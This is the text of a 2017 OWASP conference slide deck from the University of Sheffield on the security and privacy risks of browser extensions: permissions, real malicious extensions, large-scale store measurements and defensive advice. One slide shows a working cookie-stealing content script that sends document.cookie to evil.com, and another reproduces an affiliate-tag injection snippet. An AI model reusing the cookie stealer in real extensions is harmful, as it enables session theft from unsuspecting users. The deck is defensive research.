The Evil Friend in Your Browser

Software Assurance & Security Research
Department of Computer Science, The University of Sheffield, Sheffield, UK
https://logicalhacking.com/

OWASP Benelux-Day 2017
November 24, 2017
Tilburg, The Netherlands
Outline

1 Motivation

2 What are extensions: user perspective

3 What are extensions: developer perspective

4 Real world extensions

5 Outlook
Browsers are the new operating systems
Browsers are the new operating systems

Google Chrome

Please close all Google Chrome windows and try again.

OK
Browsers are the new operating systems
Browsers are the new operating systems
Browsers are the new operating systems
Browsers are the new operating systems
Browsers are the new operating systems
Protecting Web Users

- HttpOnly
- Same-origin policy
- Content Security Policy (CSP)
- ...

© 2017 LogicalHacking.com. Public (CC BY-NC-ND 4.0)
Security of web browsers

- The major browser vendors take security seriously and investing a lot in making web browsers secure and trustworthy.
Security of web browsers

- The major browser vendors
  - take security seriously
  - investing a lot in making web browsers **secure** and **trustworthy**
- We have a good basis for secure web applications
Security of web browsers

- The major browser vendors take security seriously, investing a lot in making web browsers secure and trustworthy.

- We have a good basis for secure web applications, until we add extensions:
  - can extend/modify the browser
  - anybody can write/offer them
Security of web browsers

- The major browser vendors take security seriously
  - investing a lot in making web browsers secure and trustworthy

- We have a good basis for secure web applications, until we add extensions:
  - can extend/modify the browser
  - anybody can write/offer them
  - might tear down the defence from inside
Outline

1. Motivation
2. What are extensions: user perspective
3. What are extensions: developer perspective
4. Real world extensions
5. Outlook
Browser extensions

- Add-ons extending your browser
- Google says:
  - small software programs
  - little to no user interface

What extension can do:
- modify the user interface (how your browser behaves)
- modify web pages (what you see)
- modify web request (what you enter)
Browser extensions

- Add-ons extending your browser
- Google says:
  - small software programs
  - little to no user interface
Browser extensions

- Add-ons extending your browser
- Google says:
  - small software programs
  - little to no user interface
- What we find:
  - complex and large programs
  - sophisticated user interfaces
Browser extensions

- Add-ons extending your browser
- Google says:
  - small software programs
  - little to no user interface
- What we find:
  - complex and large programs
  - sophisticated user interfaces
- What extension can do:
  - modify the user interface (how your browser behaves)
  - modify web pages (what you see)
  - modify web request (what you enter)
Let’s search for a simple calculator
Let’s search for a simple calculator
Let’s search for a simple calculator
Let’s search for a simple calculator
Let’s search for a simple calculator
Let’s search for a simple calculator.
Malicious extensions are a real threat (1/2)

Web of Trust (WoT) logged all web requests
Malicious extensions are a real threat (1/2)

- Web of Trust (WoT) logged all web requests
- and sold the data to third parties
Malicious extensions are a real threat (1/2)

- Web of Trust (WoT) logged all web requests
- and sold the data to third parties
- A German TV station bought the data
Malicious extensions are a real threat (1/2)

- Web of Trust (WoT) logged all web requests
- and sold the data to third parties
- A German TV station bought the data
- “de-anonymized” it
Malicious extensions are a real threat (1/2)

- Web of Trust (WoT) logged all web requests
- and sold the data to third parties
- A German TV station bought the data
- "de-anonymized" it
- and found critical data, e.g.:
  - tax declaration of a member of the German parliament
  - details about international search warrants
  - ...
Malicious extensions are a real threat (2/2)
Adware Replaces Phone Numbers for Security Firms Returned in Search Results

By Catalin Cimpanu

March 27, 2017 02:30 PM 0

A new adware family named Crusader will rewrite tech support phone numbers returned in Google search results, display ads, and show popups pushing tech support scams.

Current versions of Crusaders are installed on victims' computers via software bundles. Users usually download a free application, whose installer also adds Crusader.

The adware takes the form of a Chrome extension, Firefox add-on, and Internet Explorer Browser Add-on.
Malicious extensions are a real threat (2/2)
Malicious extensions are a real threat (2/2)

NEWS February 23, 2017 @ 9:00 AM

Browser Bully? Malicious Google Chrome Extension Pushes User Buttons

By Douglas Bonderud

Chrome dominates the desktop web browser market, with more than 40 percent of users opting for Google’s Internet environment. But big numbers
Malicious extensions are a real threat (2/2)

Forced into installing a Chrome extension

Posted: November 29, 2016 by Pieter Arntz
Last updated: November 28, 2016
Malicious extensions are a real threat (2/2)

Forced into installing a Chrome extension

Posted: November 29, 2016 by Pieler Arntz
Last updated: November 28, 2016
Malicious extensions are a real threat (2/2)
Malicious extensions are a real threat (2/2)

Last updated: November 28, 2016
Malicious extensions are a real threat (2/2)

webr.space says:
Add Extension to Leave

webr.space says:
Add Extension to Leave

webr.space says:
Add Extension to Leave

webr.space says:
Add Extension to Leave

OK  Cancel
Malicious extensions are a real threat (2/2)
Outline

1. Motivation
2. What are extensions: user perspective
3. What are extensions: developer perspective
4. Real world extensions
5. Outlook
The architecture of browser extensions

```json
{
    "update_url": "https://clients2.google.com/service/update2/crx",
    "name": "Test/uni2423Extension",
    "version": "0.1",
    "manifest_version": 2,
    "description": "This/uni2423is/uni2423a/uni2423harmless/uni2423extension...",
    "permissions": ["tabs", "<all_urls>", "webRequest"],
    "content_scripts": [
        {
            "all_frames": true,
            "js": ["content_script.js"],
            "matches": ["<all_urls>"],
            "run_at": "document_start"
        }
    ],
    "background": {
        "scripts": ["background.js"]
    }
}
```
Security mechanism: Permissions

Background Scripts
Two-dimensional permission system:

- functional permissions: tabs, bookmarks, webRequest, desktopCapture, ...

- host permissions:
  https://*.google.com,
  http://www.facebook.com,
  but also <all_urls> and https://*/*

Host permissions restrict effect of some functional permissions

Content Scripts
Black and white:
either injecting script, or not
Outline

1. Motivation
2. What are extensions: user perspective
3. What are extensions: developer perspective
4. Real world extensions
5. Outlook
Chrome Web Store

Available in the Chrome web store

Wide variety of categories:

- productivity: 32.29%
- fun: 15.86%
- communication: 12.64%
- accessibility: 10.05%
- web_development: 9.95%
- search_tools: 5.87%
- shopping: 4.83%
- news: 3.51%
- photos: 2.10%
- blogging: 1.86%

- Main way of distributing extensions
- We monitor 125k “additional Chrome features” (ca. 10% got removed during last 5 months)
Our "Big Data" extension archive

- Daily snapshots of over 125,000 artifacts
- Over 3TB in size
- Over 23GB JavaScript (over 3.9 billion LOC)
Download numbers

![Histogram showing the distribution of download numbers]

- 54% of downloads are less than 100
- 25% of downloads are between 100 and 1000
- 20% of downloads are between 100,000 and 1,000,000
- 1% of downloads are between 10,000,000 and 100,000,000
Extensions can be big
Observe our browsing behaviour

- Permission: tabs or <all_urls>, or content script on all sites
- Needed for many simple extensions
- Can monitor your complete history, incl. full urls
Observe our browsing behaviour

- Permission: *tabs* or `<all_urls>`, or content script on all sites
- Needed for many simple extensions
- Can monitor your complete history, incl. full urls
- 57% of 80,000 extensions
Circumvent security measures

- Permission: `<all_urls>` and `webRequest`
- Can intercept and change all HTTP headers!
- **Disable Content-Security-Policy, Same-origin Policy, etc.**
- Breaks security guarantees of web browsers!
Circumvent security measures

- Permission: `<all_urls>` and `webRequest`
- Can intercept and change all HTTP headers!
- **Disable Content-Security-Policy, Same-origin Policy, etc.**
- Breaks security guarantees of web browsers!
- 9% of 80,000 extensions
It’s that easy...

```
x michael@X1 ~/projects/cookiestealer ls
content_script.js  manifest.json
michael@X1 ~/projects/cookiestealer vim manifest.json
michael@X1 ~/projects/cookiestealer ls
content_script.js  manifest.json
michael@X1 ~/projects/cookiestealer cat manifest.json
{
    "update_url": "https://clients2.google.com/service/update2/crx",
    "name": "Test Extension",
    "version": "0.1",
    "manifest_version": 2,
    "description": "This test extension steals all your cookies.",
    "content_scripts": [
        {
            "all_frames": true,
            "js": ["content_script.js"],
            "matches": ["<all_urls>"]
        }
    ],
    "run_at": "document_start"
}
```

```
michael@X1 ~/projects/cookiestealer cat content_script.js
var httpRequest = new XMLHttpRequest();
httpRequest.open('GET', 'https://evil.com/?cookies=' + document.cookie);
httpRequest.send();
michael@X1 ~/projects/cookiestealer
```
Mining Monero (an AltCoin - think Bitcoin)

First extension:
- Large press coverage
- Less than 24 hours in Chrome store (before removed by Google)

Two days after press releases:
- At least 16 other mining extensions
- Most of them seemed un-maintained
- Updates to fix permissions (required by the mining code)
- Different wallets, but extensions from same author use same wallet
Monetization Amazon tags

```javascript
window.addEventListener("load", function() {
    addModificator(function(url) {
        try {
            var parsedUrl = fvdSpeedDial.Utils.parseUrl(url);
            var host = parsedUrl.host.toLowerCase();
            var path = parsedUrl.path.toLowerCase();
            host = host.replace(/www\./, "");
            if (/^amazon\./.test(host)
                && isAmazonProductPath(path)
                && path.indexOf("?tag=") === -1
                && path.indexOf("&tag=") === -1) {
                for (var zone in domainTags) {
                    var regExp = new RegExp("amazon\...+ zone.replace(".", "\\\.");
                    if (regExp.test(host)) {
                        var modifiedUrl = addTagToUrl(url,
                            domainTags[zone]);
                        return modifiedUrl
                    }
                }
            }
        } catch (ex) {}
    }), false)

Violation of the Amazon Terms of Services
Dynamic analysis
  - amazon.co.uk declared: 7, non-declared 26
  - amazon.com declared: 14, non-declared 33
  - amazon.it declared: 5, non-declared 22
ca. 20000 users affected (without consent)
Dynamic Analysis for Detecting Privacy Violations

Our Dynamic analysis detected extensions that
- inject benign analytics in all websites
- monitor the complete browsing behavior
- can observe all data entered into websites

In total
- Running each extensions on 10 websites
- 18 extensions use this attack
  (over 250k users affected)
Outline

1. Motivation
2. What are extensions: user perspective
3. What are extensions: developer perspective
4. Real world extensions
5. Outlook
How can we make web browsing great* again?

*great = ensuring the security, integrity, and privacy of the user of a web browser
How can we make web browsing great* again?

- Integrity:
  - content modifications
  - layout modifications

- Confidentiality:
  - data storage
  - transmitted data

- Privacy:
  - access to sensors
  - personal identifiers

*great - ensuring the security, integrity, and privacy of the user of a web browser
Outlook: On the long term

- Sandboxing of extensions
- A different permission model
  - granularity?
  - dynamic vs static?
- Better explanation for users
- Better analysis/test tools for extensions

Expect updates from us in the future …
Outlook: On the short term (1/2)

Frequent updates vs Governance
Outlook: On the short term (1/2)

Frequent updates vs Governance
Outlook: On the short term (2/2)

- Check the vendor of the extension carefully
- Check the permissions (i.e., active domains)
- Use browser profiles
- Be aware of the risk
Thank you for your attention!
Any questions or remarks?

Contact:
Department of Computer Science
University of Sheffield
Regent Court
211 Portobello St.
Sheffield S1 4DP, UK